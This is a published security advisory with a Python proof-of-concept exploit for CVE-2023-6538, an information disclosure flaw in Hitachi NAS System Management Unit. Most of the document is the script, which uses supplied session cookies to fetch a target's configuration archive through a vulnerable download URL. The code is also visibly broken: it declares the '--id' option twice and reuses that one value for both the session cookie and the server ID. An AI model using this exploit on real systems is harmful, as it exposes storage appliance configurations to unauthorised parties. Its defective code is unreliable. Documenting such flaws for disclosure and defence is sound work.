Authored by Arslan Masood

Hitachi NAS (HNAS) System Management Unit (SMU) version 14.8.7825 suffers from an information disclosure vulnerability.

advisories | CVE-2023-6538

# Exploit Title: Hitachi NAS (HNAS) System Management Unit (SMU) 14.8.7825 - Information Disclosure
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04

import argparse
from os import getcwd

import requests

parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)

# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)

# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)

# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)

# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)

args = parser.parse_args()

def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"

# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"

# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}

# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}

# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)

print(f"{filename} has been downloaded to {getcwd()}")

if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)